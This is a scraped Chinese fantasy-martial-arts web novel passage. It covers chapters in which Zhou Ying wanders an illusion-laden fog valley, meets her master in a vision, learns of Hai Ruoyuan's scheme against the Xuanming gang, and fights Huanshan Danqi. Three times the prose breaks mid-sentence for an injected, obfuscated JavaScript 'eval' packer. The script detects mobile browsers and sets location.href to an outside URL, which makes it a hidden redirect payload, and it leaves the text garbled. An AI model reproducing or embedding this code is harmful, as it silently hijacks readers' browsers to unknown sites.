深谷下云雾缭绕,看不清路,向愁眉每次低头只觉一阵眩晕。但听说玄冥帮也逃到下面,只得硬着头皮跟着下去。 周盈知道这谷里不简单,又怕向愁眉横冲直撞,出声提醒:“眉兄……” 一扭头,人居然不见了! 周盈一惊,忙道:“眉兄,你在哪儿!” “我在你后面。”一个声音道。 周盈闻声回头,一看,只剩一团大雾,哪里还有人? 这谷地不知多深,走丢了可不是开玩笑的。 周盈道:“眉兄,你先别动。” “什么?”对面飘来一声。 “我把雾驱开些。” 话毕,拔出日月轮,唰——唰——旋出一阵风。 向愁眉忽然大叫一声:“有东西爬我脸上了!” “妈呀,还凉飕飕的。” 周盈道:“是我在扇风。” 很快,她也察觉不对劲儿了:“这雾怎么不会散开?” 周盈收回日月轮,啪地打了个火。 幽蓝的火焰在掌心旋动,她朝着火心吹了口气。 火光剧烈地抖动起来,但是,雾还是没一点儿变化,不聚不散。 难道这也是障眼法? 不对,如果只是障眼法,玄冥帮追赶得再急也不至于二十多人都盲目冲上山。而且等进来看到里面真实的景象,他们知道上当,只怕巴不得赶紧逃之夭夭,又怎么会一头扎进迷雾里? 一阵思索,周盈渐渐明白,依照公室一贯作风,只怕不是障眼法,而是阵法。 整个山谷都被一个巨大的阵法包围,从看到外面那座山之时,她、向愁眉和玄冥帮众就已经踏进了公室精心准备的陷阱。 “眉兄,这山谷有些古怪。”周盈边说边催动火势,“你顺着焰火走过来。” 向愁眉道看着雾中突现一点火光,倒也不似原先那样迷茫,稍稍镇定了些。小心翼翼移向周盈:“这么大的雾,要去哪里找人?” 周盈道:“我们先下去。” 走到谷底,白雾依旧没散,周盈从指尖分出一点儿火星,挑了下去。 那簇幽蓝火焰扎进地里,咻地就不见了,向愁眉惊奇道:“周兄弟,你在做什么?” 周盈看着蓝色火心完全没进土里,稍微安心了,解释道:“这是追命火,要是我们迷路了,感应到它就能原路返回。” 向愁眉道:“这玩意儿真好使。” 周盈道:“走吧,眉兄,我们入谷。” 被遮住视线,周盈也说不清这谷地究竟有多大。幸好她可以随时感知到追命火,倒也不怕在谷底迷路。 然而,才走了两步,就感觉被什么东西挡住了去路,一踩,脚下软软的。 周盈拿着追命火一照,那东西上还长着毛呢。伸手一摸,这才知道: “是掉下来摔死的马。从这么高的地方摔下来,肯定是活不了了。” 向愁眉一听,催促道:“周兄弟,你快看看旁边还有没有人?” 燃起追命火原本是为了方便看顾对方,火心只在指尖跳跃,现在要寻人,这点光难免捉襟见肘。周盈只好再催动功力,强行增大火势。但追命火不同于寻常火焰,原本也不是用来照亮的,只是周盈用习惯了,现在一股劲催到极端,火势格外凶猛,幽蓝火心徒地涨大,嗖地窜到了眉心。 持续了三四秒,噗地一下,火焰又缩成了原样。 周盈只得道:“眉兄,你身上可带了火。” 平时图方便,她身上从不带这些东西,现在要用,只能求助同伴了。 向愁眉将随身带的火折子递过去。周盈折下树枝,树枝是新折的,没晒干过,谷底湿气重,不好直接点燃,只好撕截衣服当作引火的布条缠在树枝上。 火一点燃,四周即刻明亮起来。 周盈举着火把凑近一看,那马侧面皮肉都磨掉了,的确是从上面摔下来的。只是,像她之前猜的一样,马上的人早就不知所踪。 周盈又去寻其他跌到谷底的死马,死状凄惨,不由得连连感叹,真是城门失火殃及池鱼,这马无端遭受灭顶之灾,当了陪葬鬼。 绕了一圈,一个人影没见,布条也烧光了,火呲地一声,灭了。 周盈丢开烧光的枝条,想着继续往里面找找,便又催燃了追命火。 又走了一阵,向愁眉出声提醒:“周兄弟,这深山野谷,想必有不少毒虫。只怕这孩子受不了。” 周盈闻言一愣,她怎么没想到这个! 顾奇缘虽身怀玲珑骨,能生肌活肉,但毕竟还是个婴孩。毒虫叮咬一口,就算于他性命无碍,也不免要受皮肉之苦。 周盈摸了一阵,发现身上没带防蚊虫叮咬的草药,想了想,只好重捏个法诀。 顾命火催动起来比追命火更费心力,偏偏今天它又死活不肯出来,刚有点苗头就无情地熄灭了。 周盈暗暗称奇,难道是她学艺不精? 想罢,只得又检查了一遍口诀,确定口诀无误,再试一次。 隐约感觉手上一阵凉意后,果然有白焰丝丝缕缕从掌心溢出。周盈连忙把手掌贴到顾奇缘胸口。摸到孩子肋下时,一阵寒意袭来,周盈略略吃惊,这就是玲珑骨! 周盈任由白焰一点一点吞没了顾奇缘身体,估摸着时机差不多了,便催力将顾命火逼入进体内。 看着白焰完全消失,她才颤抖着双手将火焰收回。 向愁眉突然“啊”地叫了一声。 周盈擦了擦冷汗,慌道:“怎么了?” 这山谷十分古怪,又不晓得公室布了什么阵法,万一触动了,可不是闹着玩的。不寰鸟造成的的惨象,她可是记忆犹新。 向愁眉心上发怵:“我感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796362|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉脸上有冰冰凉凉的东西。” 周盈一愣,她也没扇风啊。 向愁眉满脸悲苦:“不是啊,是蛇!” “蛇爬到我脸上了。” 周盈道:“有毒没?” 向愁眉真的愁了眉:“要咬了才知道。” “……” 周盈一边安抚一边靠近:“眉兄,你先别动,我来把它捉走。” 向愁眉呜呜一声:“你别动,你一动,它也要动了。” 周盈叹了口气:“眉兄,它在哪里,我给你打下来。” “周兄弟,你可别打歪。” “我知道。” “你可别杀把它打死了。” “死在脸上,尸体碎开,也很恶心。” “我小心就是。” “啊啊啊啊……” “眉兄!” 周盈轻呵一声,向愁眉只觉得面上一空,蛇已经被掌气拍飞出去。 周盈即刻拔开日月轮,剑尖一挑,手指长的小蛇顿时断成了两截。 松了口气:“眉兄,没毒。” 向愁眉心有余悸,他最怕这些滑溜溜冷冰冰的东西。 “咦?” 向愁眉被这声“咦”下了一跳,脆弱的心脏颤抖骤然加剧:“有毒?” 周盈道:“不是蛇。” “不可能!”这种感觉他一辈子都忘不了这种感觉,悄不出声地爬到身上,贴得皮肤冰冰凉凉,麻丝丝的,等他发现了,一张恶心的大嘴冲自己吐着芯子,滑不拉几的,太恐怖了。 “真的,你看。” 周盈把火凑近去,雾中只见断成两截的布条。 向愁眉咯噔一下,那刚刚在谷顶,缠在自己脸上的又是什么? “这里真的有鬼!” 周盈挑起碎布,仔细瞧着,这布条应该是她刚刚刮风驱雾的时候碰巧吹到向愁眉身上的。可它居然变成了一条蛇,阴嗖嗖地挂了这么久。 如此以假乱真,如果不是多心看了一眼,只怕她也还被蒙在鼓里。又想,这个迷阵果然厉害,如果这蛇作得假,那眼前的一切—— 周盈心上更加疑惑,玄冥帮众究竟是看到了什么,心甘情愿地进来? 向愁眉道:“周兄弟,你不知道,这阴湿地谷最恐怖,什么平日难见到的东西都藏在里面。要是被盯上,只怕就没命出去了。” 周盈摇摇头,走到这里,不怕鬼作祟,只怕人搞鬼。 怕什么来什么,周盈双眼盯着前方,忽然提醒道:“眉兄,前面好像有人。” 隔着大雾,看得不太清楚,只见到一团黑影在不停向他们招手。 周盈正要走过去一探究竟,向愁眉连忙阻止她:“别去。那恐怕不是人。” 不是人? 但是,那个“人”分明还站在那儿冲着他们招手。 周盈道:“不是人,是什么?” 向愁眉道:“周兄弟,你不知道,这荒山野地常有熊出没。这熊饿极了的时候,就会隔着大雾冲人招手。人没防备,稍一靠近,它就跑上来吃人了。” 周盈头一回听说这种事,惊讶道:“熊还会吃人吗?” 向愁眉道:“饿狠了,人在它眼里不过就是一摊肉。这畜生最狡猾,有了经验以后,每回都会假装成人骗人上当。” 又道:“这熊会到这里,肯定是闻到血腥味来的。” 周盈道:“我试探试探。” 说罢,她冲着那团身影大声道,“兄台,可方便借点火?” 声音在空旷的山谷里越飘越远,空荡荡的,让人一阵心悸。 没人应答! 下一秒,那团黑影直冲他们而来。 向愁眉慌道:“快……退!” 话音未落,周盈已经冲着黑影跑了过去。 向愁眉愣了一秒,拔腿就追:“周兄弟,快回来,你打不过它的。” 熊看着笨重,但真的跑起来速度却远超常人。尤其在这种大雾里,它可以嗅着味道抓到人。人重视觉,一旦两眼被遮蔽,就只有吃亏的份儿。等反应过来只怕已经撞在它嘴上,成为果腹之物了。 周盈一边跑一边说:“我不打。” “我给它敲晕。” 话音刚落,只听见一个闷声,那团黑影应声倒了下去。 周盈刚刚解决一个麻烦,回过头去,向愁眉却像中了邪似得狂奔起来,嘴里念念有词:“周兄弟,你别怕,我来帮你了。” 周盈一脸错愕,自己分明还在这儿呢!向愁眉在叫谁? 难道,他们已经触动了法阵? 周盈暗道不妙,不及犹豫,拔腿就追了上去。 向愁眉越跑越远,短小的身形逐渐幻化成一个影,渐渐要与浓浓大雾融在一起。他身上又没带火苗,才追出去几十米,就再也看不见他的影子。 周盈心惊未定,摸不准要往哪个方向追,被迫放缓了脚步。“眉兄”二字堵在嗓子眼里还没喊出来,一道影却又拦在跟前。 周盈如临大敌,停了下来。 那道影靠近一步,雾便淡去一份,周盈一颗心砰砰加速跳动。不自觉地向那道影、那个人走过去。 待雾全数散去,天光落到谷底,拓出来人一身风采。 眼前人头发分明已经白了一半,却依旧丰神俊朗,举手投足皆是一派从容。 最熟悉不过的声音道:“乖徒儿。” 周盈不由自主应了声:“师父。” 30. 玲珑骨(十三) 周盈本是趁着炎君闭关才悄悄跑出来的,现在突然见到他,心里分明直打鼓,脸上却笑道:“师父,你怎会来这里?” 炎君见她一身无虞,放下心来,张口就是:“你出去这么久不见影子,为师能不出来找吗?”又见周盈怀里揣件破玩意儿,嘴里嫌弃不已道,“你捡这些东西做什么?” 周盈一愣,不明白他话中之意,低头去看,一直抱在怀里的顾奇缘竟然变成了一桩烂烂烂……烂木头! 人! 人呢! 周盈以为自己把人看丢了,抓慌之际,灵海中突来震荡。紧接着一团白焰瞬间包围了朽木,白光四溢,灼人眼目。 白焰中,露出一张胖乎乎的脸蛋,周盈松了口气。 这阵法虽是第一次遇到,真真假假,虚虚实实,让人摸不清路数,但是它还不能把真的变成假的。 周盈脑子一瞬间闪过无数种景象,她要如何解释自己不告而别,又平白无故抱着个孩子。 没想到炎君看了一眼,并不怎么上心,只道:“乖徒儿,有没有好好修行,好好读书,好好吃饭?” 周盈见他不是兴师问罪而来,但仍是十分心虚。炎君平时对她管束不算严格。只有两件事是不容商量的,第一,是修行,但凡修行炎君从不许懈怠。打能听懂话、站得稳那天,她就得老老实实练基本功。夏不忌三伏,冬不避四九,年年如此。 重槌敲笨鼓,加之周盈自小根底便打得极好,后面要学什么都是得心应手,上手极快。 第二,炎君三令五申,让她无论如何都不准离开迷阳地。并且煞费苦心地,以周盈亲娘和亲外婆的坟墓为阵眼,铸起一道阵。 炎君不点头,外面的人进不来,里面的人也出不去。 趁炎君闭关,她与之斗智斗勇,终于抓住了个致命破绽。这阵再灵,说到底灵智未开,什么人可以放行,什么人必须拦下,只能以最简单的法子分辨。她一身修为尽袭自炎君,阵法照理无法如此轻易辨别二人。思来想去,渐渐悟出,这阵拦她却不拦炎君,只因炎君是男子,而她是女子! 于是她借金鱼草改头换面,将之瞒过,成功跑了出来。 私自跑出来这么多天,不该荒废的也荒废了,不该干的也干了。然而,炎君不急不怒,丝毫没有责怪之意。看着她莫名带着个孩子,也表现得完全不在乎。 都说暴风雨来临前总是平静的,周盈试探道:“师父,你不生气吗?” “你这么想惹我生气吗?” 周盈嘻嘻笑道:“师父才不会生我的气。”又道,“师父,你怎这么快就闭关出来了?” 炎君闭关前给她交代过,这次闭关少则四五年,多则数十年。所以她才敢悄悄溜出来。但是现在离入关,满打满算甚至不足半旬。 以炎君的道行,只怕她出阵一刻,就已经感应到法阵异常,进而猜到她离家出走。 周盈早早做好准备,等着炎君怨气冲天地来抓她。没想到,场面居然如此和谐。 现在,寒暄完了,下面必定是要查问她出去的缘由。 这可就不好说了。 十多年来,因为牵扯到母亲的死,与这把剑相关的一切一直都是炎君的禁区。要是她如实说,虽然逃过一顿骂,但以后想出去就更难了。 谁知炎君居然没追问,反道:“哦,你巴不得看不见我,好偷溜出去对吧,我告诉你,想都别想。功夫练得如何了?试试?” “?” 周盈还没反应过来,炎君已经一掌拍过来。 那掌来得极快,一下呼在顾奇缘身上。 周盈惊呼:“师父,留手啊!” 炎君不管不顾,掌风扫来:“嘿,叫你偷懒,现在知道求饶?晚了。” 又说:“难道以后遇见敌人,也要叫人家留手吗?” 周盈见逃不过,只得窜出右掌与他对招。 炎君道:“还记得我是怎么教你的吗?” 周盈接道:“自在二字,随势为先。” 说罢,应势化去他掌上气劲。 炎君点点头:“看来你也没荒废。” 二人又来来往往对了七八招,炎君把她一招一式的变化都看在眼里。渐渐加重了攻势,原是师徒试探过招,周盈却意外感到一股压力,这次比试似乎与以往的点到即止不同。暗暗吃惊之余,还不及变招,只觉出手沉重了许多。 炎君见状,道一声:“如何随势应变,不是说说而已,来,让为师讨教讨教。” 说罢,掌风越急,倏然翻向周盈左肩。 周盈急退数步,明显力有不支,冷汗涔涔。 然而她是决计不肯认输的。 右掌一截,顺势卸去炎君三分掌劲,并想乘胜追击。 突然,还不等周盈连招,炎君收拾余力,瞬间破了她守势。 “你又输了。” 周盈哭笑不得,他老人家大老远跑来就是要看自己有没有偷懒,可是,在他手下,自己别说是赢,就是便宜也讨不到半分。 周盈早已经习以为常,打的时候就知道赢不了,现在输了也在意料之中,坦然道:“输就输了。” 炎君摇头:“输便输了,抱着这种想法,总有一天你会输不起。” “自在掌法,自在二字,出招便要不拘于形势,不困囿于现状。” “你迟迟未能取胜,就是因为你心有顾忌。” 周盈道:“便是没顾忌,我也打不过。” 炎君只得叹道:“你仔细体会这套掌法,以后我再教你剑诀。” 周盈展出笑来道,“师父,你真的要让我学剑?” 炎君对这把剑十分弃嫌,大概是对周盈那不知死哪儿去的爹恨屋及乌。如今忽然说要教剑诀,周盈心里一阵奇怪。 炎君道:“这是你母亲的遗物,传到你手上,若不善加研习,怎么对得起你母亲?” “只是学剑不比学掌,需要更扎实的根底。要是修习过早,只怕心性不稳,急功近利。若是弄巧成拙,掌法剑法都学不精,一旦遇到难缠的对手,只会反害自身。” 周盈跃跃欲试:“师父你什么时候教我?” 炎君应道:“待我出关吧。” 周盈听得一头雾水:“师父又要闭关了吗?” 炎君听她说话没厘头:“月前不是才给你说过,我下个月闭关吗?” “我讲过的话你转头就忘,一心就想着出去。”他滔滔不绝叮嘱道,“我这次闭关少则四五年,多则数十年,这期间你不可荒废修行,待我出来验收过关了才准你学剑。” 周盈闷声不语,最后勉强挤出了个“好”。心上却聚起一阵疑团。这番话分明在前不久说的,如今为何又跑来说这一番话…… 炎君见她一声不响,还以为是不满意自己不肯现在教学剑。本想出口解释,但想想还是作罢,只说:“走吧,去看看你母亲还有外婆。” 周盈心上一惊,乍一环顾四周,大雾散去,这里已经不是什么山谷,而是迷阳地,是她生活了快十九年的地方。 周盈不可思议地打量眼前一切。 阳春三月,冰封化冻,蜇虫始动,虫鸣日夜不休。 身后,只有小腿深的溪水渐渐起了涨浮之态,野水隐隐就要溢出溪畔。水声潺潺。嘹响十里春风。 脚下,却是荆棘横生。 一只绿蛙爬上溪岸,鬼鬼祟祟地靠近荆棘地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796363|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。等它爬在荆棘丛边,荆棘瞬间立起,像张满獠牙的野兽,张牙舞爪吓得它逃之夭夭。 扑通一声,滚进了溪岸。 更前面,是两方坟茔。 这便是她生活了十多年的地方,是入侵者的屠宰场,却是她的安乐乡。 然而,这一瞬间她第一次怀疑,这一切究竟是真是假! 恍惚间,脑海中又出现那条被她一掌劈断的小蛇,血肉之躯在迷雾中扭曲着,挣扎着断了气,眨眼时间,突然又变成两截碎布条。 小蛇扭着滑溜溜的的身子,四方天地也发生急剧的变化,像那条小蛇一夜扭曲了模样,她瞪大眼睛,视野穿过炎君的背影,想看一看那两座洁白的坟茔,可是眼前又成了白茫茫一片。 一切都消失了。 原来她始终都没走出谷底。 顾奇缘也变回来了。 这究竟是什么阵法! 为什么她能看到过去的一切! 海若渊,是你在装神弄鬼吗?周盈极力镇定下来,这些东西究竟是怎么出现的?是她的幻想,还是海若渊的恶作剧? 可是这件事情只有她和炎君知道,又如何成为这迷阵的一环? 她已经有些动气,盯着眼前浓雾,喊道:“喂——海若渊,你究竟在搞什么鬼!” 无人回应。 看着空荡荡的迷雾,她越想越气。 不知何处传来声轻笑,笑得有些无奈:“我可没搞鬼。” 周盈回身,只见海若渊那张丑恶至极的脸,正对自己无耻笑着。他边笑边说:“我可没让你进来。” “我都提醒过你了,是你自己要跟过来的。” 周盈脸都气红了,怒道:“你什么时候提醒过我了!” “食馆的门我可是关上了的,是你自己要打开,也是你自己要跟上来,跟来就算,还怪我捉弄你。” 周盈被他问得一时接不上话,知道他说得条条在理,又余怒未消,也不知道自己气什么,盯着他:“刚刚你一直在旁边。” 雾缓缓散去,海若渊露出思索的神色,周盈一看他这幅表情,第一反应就是大事不妙。然而海若渊故意装模作样,只是为了吊她胃口,磨蹭好一阵,又露出一脸不情愿:“我也不想来,可是周兄弟你再吼上两嗓子,山谷里的人都知道公室来插手了。” 周盈一愣,想着就更生气:“所以你就瞎用我的名字。” 还说什么贱名不足挂齿! 海若渊道:“也是事从权宜,你的名字太顺口,不知道怎么就说出来了。” “要是你介意,下次你也拿我的名字就好了。” 周盈道:“我才不用,你的名字没我的好。” 海若渊看她一眼,嘴角下压。 “所以,刚刚你究竟看到了没有?” “看到了。” 周盈有些紧张:“你看到了什么?” 海若渊神秘兮兮,凑近了,压低声音道:“我看得清清楚楚——” 周盈挨过去,小声道:“什么?” 海若渊凑在耳边,笑道:“你被一只笨熊敲晕了。” 周盈炸开了:“你才晕了。” 她气得脑子嗡嗡嗡的,看见海若渊还在笑,明摆着在逗自己。但一提起熊,周盈又有些担心:“向愁眉被你弄到哪里去了?”当时他们遇到了吃人熊,她把它打晕后,一回头,向愁眉却受阵法影响,不知道跑到了什么地方。 周盈急着找人,这荒山野谷,人生地不熟的,视线又受碍,还有个不知道什么时候发作的怪阵法,保不齐会发生什么。 海若渊笑够了,才正色道:“你不必再费心了,他已经听不到你的声音。” 31. 玲珑骨(十四) 周盈道:“你这话是什么意思?” 海若渊道:“就是你听见的意思。” 在周盈警惕又凝重的神色中,他坦然自若道:“谁都要为自己的错误与罪恶偿还,玄冥帮众烧杀抢掠,作恶多端,走进这谷里,自然是没命出。” “那向愁眉又做错了什么,他与公室无冤无仇,你——”周盈想着有哪里不对,调转口风,“你们又何必赔上他一条命?” 海若渊却反问道:“难道顾曾云就做错了什么吗?” 身为医者,顾曾云救人不问姓名,不问来历,杀人却思量再三,能放的都放了,她救过的人比杀过的不知道多多少! “她最后又是什么下场!” 周盈道:“但你不是盗指玄冥,公室……公室也不是罗刹海。” 盗指玄冥杀顾曾云是要夺玲珑骨,要对一个孩子下毒手,罗刹海不是恶盗就是恶鬼,杀人越货如同家常便饭。 周盈不知道他们为什么会扯到这里,急道:“向愁眉也没有碍公室的路,放他生路又不会怎样?” 海若渊道:“可他却是自己闯进了死路。” “你知道这谷叫什么吗,死人谷!上百年来,谷中见不到一个活人。向愁眉与你不同,他进了死人谷,无异于自断生路。” 绝望峰、死人谷,同样不容生人活路。 周盈意识到他是来真的,脸也不好看了:“为什么一定要杀他!” “我可没说一定要杀他。” “我只是让他不能开口说话。” 周盈自他话中渐渐听出别样意味:公室与罗刹海结怨已深,这次玉京子和莱山罗罗跑到十里槛撒野,摆明打公室的脸,无论是为了讨口气,还是打压罗刹海气焰,这一次海若渊和明师绝对不会放过玄冥帮众。 以海若渊的手段,杀这二十多人根本易如反掌,那他如此大费周章隐瞒身份——— 从一开始他就不想让人知道公室插手此事。 那么,知道他身份的向愁眉只有死路一条。 周盈心上咯噔一下,如果是这样,公室的目标恐怕不是这阵中的二三十人,而是整个玄冥帮! 周盈道:“你要一举铲灭玄冥帮?” “不是我,自然也与公室无关。”海若渊本来也不指望瞒她,“而是居延府。” 周盈默念着这个名字。 居延府,始终游离在外的第五方势力。居延府以一“义”字募集各处人马归在旗下。成员不比金刀卫那样训练有素,也不像晴岚山市那样精英云集。但胜在人数众多,一呼百应。 不管是谁,一旦被居延府下了格杀令,就会成为天下公敌,世间再无他容身之处。 而上一个被下令围杀的就是恶鬼。 公室不久前才在罗刹海手下惨败,内有奸细,外有罗刹海虎视眈眈,要是为了收拾玄冥帮公然越界,必然惊动晴岚山市,所以才想借居延府的手对付玄冥帮。 然而,其中却有个不大不小却又无法回避的问题。周盈道:“都说居延府公心持正,怎会放任玄冥帮众逍遥多年?” 海若渊道:“正是因为公心持正,才会拘泥小节,自陷罗网。” “想要居延府出手可不是如此简单。” 格杀令一出,就是人心所唾弃,天下人人皆可诛之、杀之。若是随便一人一事都能下格杀令,那么“公心”二字,最后也只会演变成私欲。成为有心人谋私的工具。 海若渊道:“要居延府下格杀令必须同时满足两个条件。” “哪两个?” “第一,必须是人命重案。” 周盈道:“第二呢?” “杀人者要亲口认罪。” 周盈道:“这不可能!”玄冥帮流散各地,不就是怕被问罪?而且普天之下,又有几个凶手会自愿认罪! 正是因为这两个条件的限制,居延府的格杀令上百年来也只发了一次。 然而,周盈很快反应过来:“你引玄冥帮入阵是要让他们亲口承认罪行。” 海若渊道:“还差一个条件。” 只要这个条件也达成,居延府就会下格杀令,再加上平时民心相背,玄冥帮就会成为过街老鼠,无路逃生。 更重要的是,公室可以不费一兵一卒敲打罗刹海。 周盈脸色不好:“你是说?” “杀一人。” 周盈惊道:“你要牺牲向愁眉!” 海若渊见她面目失色,道:“你关心他做甚,我记得你们才是第一次见面。” 周盈不理会他的话,忽然死死抓住他的左手,连声道:“你究竟把他弄到哪里去了。” 海若渊对着那一双眉眼,她之忧色,正是自己趣味所在,海若渊轻轻笑着:“关心别人,不如多关心关心自己。”一边扯开了周盈的手。 浓雾袭来,周盈只觉眼前一片朦胧,又要伸手去抓,海若渊已经不知道退到哪里去了。 “海若渊!海若渊!”周盈大声喊着。 这一次却再也没有人回应她。 周盈在浓雾中走走停停,早不知走到了什么地方。她只好催燃追命火,一探,竟然已经离开山口十多里路。 将火一收,猛地回过头,冲着眼前浓雾道:“你要跟到什么时候?” 话音落后,一道艳红身影从雾中缓缓走来。朦胧雾霏,聚而不散,周盈看不清对方长相,只看到那女子肩头闪着一双发光的眼。 女子道:“既然早就发现了,怎么现在才说呢。” 那声音似乎听过,但又算不得熟悉,周盈一时倒想不起,只道:“我只是好奇,你跟着我做什么?” 女子吟吟笑着,话中却满是阴阳怪气:“你心虚了。” 周盈被她话问得摸不到头脑,自己有什么可心虚的? 周盈道:“偷窥可不是一个好习惯。” 女子道:“偷东西更不是好习惯,你说,对吧?” 周盈在迷谷里摸索了半天,向愁眉没找到,海若渊没找到,连玄冥帮众也没遇到一个,又觉得自己被海若渊摆了一道,正不痛快着,听到陌生女子诬陷之语,有些动气,不悦道:“你倒是说清楚,我偷了什么东西?” 红衣女子一步步接近:“日月轮,你敢说是你的东西?” 周盈被她问住,日月轮虽说从小跟在身边,但却是十二指玉楼的东西。 那女子见她被自己问住,更觉得她做贼心虚,出口相讥:“公室的人果然都这样不要脸。” 周盈道:“你说什么?”没想到这女子竟然以为自己是公室之人。 “少装蒜,公室自己贼喊捉贼,手脚早就不干净了。”话中满是嘲讽。 周盈道:“话清楚些。” 阎王刺无端失踪,又被藏在无忌公室墓中,周盈猜到公室出了奸细,现在听面前女子骂得振振有词,似乎知道个中内幕,不免好奇她的身份。 红衣女子冷笑:“公室果然都是些道貌岸然的伪君子。” 旁边青鸟“呀——咿”地附和一声,刺耳的声音窜入耳中,女子摸了摸它的脑袋:“你也觉得她该死是吗?” “那就——死吧。” 说罢,周盈只觉一阵怪风扫到面前,她侧身一避,腰上一紧,竟被什么东西缠上了。 蒙蒙大雾看不清东西,她暗叫不妙,心里却把海若渊骂了个狗血淋头。一边骂,一边拔剑,劈开缠在腰间的东西。 白雾中随即破出道尖细的响声,是布帛。 周盈道:“晴岚山市未免太蛮横了!” 欢山丹契听她道出身份,本不打算瞒她,当即反唇相讥道:“比不得公室人模狗样。” 周盈心道,你又没骂到我,爱怎么骂就怎么骂。 转念一想,也觉得她骂的有几分道理,该死的海若渊,就说他怎么会突然跑出来与自己寒喧,原来是要祸水东引。心思焉儿坏! 十步之外,赦命青鸟翅羽轻扇,眨眼便飞到二人头顶上。它也不飞远,就在头顶盘旋,站岗似的盯视着二人一举一动。 没那双发光的眼睛,周盈一时看不出欢山丹契在何处。 忽然,一阵疾风扑面,身后短剑察觉杀意靠近,发出强烈的剑鸣。 欢山丹契见状,更加怒上心头:“不属于自己的东西用着安心吗?” 周盈本以为她和别人一样,都是为利而动。现在听她这句话,又透出别样意味,疑惑道:“怎么,你认识这把剑的主人?” 欢山丹契再不与她废话,劈手要夺剑,周盈眼疾手快,一下扣住她左臂,道:“姑娘,要不我们还是坐下来好好谈谈,把话说开。你说这剑有主人,它的主人是谁?” 欢山丹契抬手就是一掌,冷冷道:“可笑,剑都拿在手里面,还装什么蒜?” 她掌风狠毒,重手劈下。周盈在半空截住她手腕,轻轻推了回去,摇头:“不打了,好不好。” 欢山丹契只觉被一股气劲牵引着,想要摆脱,却如何也挣脱不得,倒被对方卸去掌劲。怒道:“不好!不好!” 周盈道:“姑娘,你我近日无冤,往日无仇,何必与我过不去?不如你告诉我剑该给谁,我亲自还去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796364|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>欢山丹契以为她话中嘲讽,呛声道:“山市要的东西,岂容你说给就给,说留就留?” 周盈不知她怎地又动气了,一只手抱着顾奇缘,一只手又要守又要打,也占不到什么便宜。迷人浓雾中,只见欢山丹契一招并一招袭来,出手越来越狠辣。周盈与她纠缠不起,于是刻意露了个空门,诱她上当。 欢山丹契不知是计,下手更不容她活路,一掌要碎周盈后心。 没想到,一掌还没落到后背,却被道强劲挡住。 周盈看她迟疑,趁机往她右肩一敲,咔嚓一声,欢山丹契只觉大臂一阵剧痛,再也使不上一点力。 看她受制约,周盈翻手抽出日月轮横在她颈上。 然后,凑近一看,蒙蒙大雾中,那是一张美艳的脸。只是眉眼之间满是杀意与狠厉,再不同雨夜所见。 周盈把剑架在她脖子上,道:“没想到是你。” “欢山姑娘,你既有心要拿我问罪,为何那晚不动手?”等她靠近时,欢山丹契才瞥见她怀中居然还抱了个孩子。 对方从一开始就没用出全力,欢山丹契非但没觉得占了便宜,只以为自己被狠狠侮辱,不答她话,冷冷道:“怪我技不如人,死也活该。” 周盈道:“冤枉,我又没说杀你!” 欢山丹契哪里听得进去,性命被捏在别人手上也不肯服软,话中更是句句带刺:“可惜剑认贼主,平白涨你气焰。等朝华姐姐亲自来了,断无你嚣张余地。” 周盈道:“朝华姐姐……哦,是六羽吧!” 晴岚山市仅六人,二主以及四方卫。 欢山丹契是四方卫唯一的女子,她口中的朝华想必就是山市主人六羽。 周盈奇道:“你为什么叫她朝华?” 欢山丹契道:“我不说,你要杀我吗?” 周盈收剑回鞘,认真道:“人命没你想的这么卑贱,不说就不说,我也没这么想知道,你与我也没深仇大恨,我杀你,反而是我亏心。” 欢山丹契见她收剑,反而出口讽刺道:“明明坏事做尽,面上还要装乖弄巧,十里槛果然都是一丘之貉。” 周盈只能自认倒霉,反正对方横竖都看自己不痛快,她怎么做都是错。 据她所知,山市主人是一对夫妻,使的是一刀一戟。六羽用的是一把名唤珊瑚钩的宝刀,也是神机十器之一。刀剑原本不相易,不知道对方为何盯上自己的日月轮? 想了想,便道:“欢山姑娘,可否告知你口中的剑主是谁?” 既然说自己窃物,那至少说清楚这把剑是从何处偷来的。 欢山丹契道:“你自己做的事情你最清楚。”她虽输了,气焰却很嚣张,往前走了两步,一字一字道,“当初做得,现在又这样惺惺作态。公室的嘴脸,果真一如既往让人恶心。” 周盈:“………” 都说晴岚山市与公室素来井水不犯河水,没想到欢山丹契却对公室有这样的恨意,说是有恨,又好似无比厌恶,公室究竟做了什么,这样让她弃嫌? 为避免殃及池鱼,还是先把自己与公室的关系说清楚,周盈正想开口。欢山丹契却一脚踢了上来。 “怎么又来!” 周盈不想这样不明不白地与她打,只好先避开,然后再寻机制住她。 忽然,远处炸响一记清亮的马蹄声。 